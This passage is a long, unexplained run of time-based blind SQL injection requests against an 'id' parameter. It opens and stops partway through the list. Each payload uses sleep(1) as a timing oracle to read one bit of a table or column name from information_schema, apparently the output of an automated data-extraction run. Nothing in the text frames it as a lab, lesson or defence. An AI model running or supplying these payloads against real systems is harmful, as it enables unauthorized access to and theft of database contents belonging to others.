sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select table_name from information_schema.tables limit 1), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 1,sleep(1),0) /?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 2,sleep(1),0) /?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 3,sleep(1),0) /?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 4,sleep(1),0) /?id=1-if((select count(column_name) from information_schema.columns where table_schema = (select database())) = 5,sleep(1),0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 0), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 1), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select column_name from information_schema.columns where table_schema=(select database()) limit 1 offset 2), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) 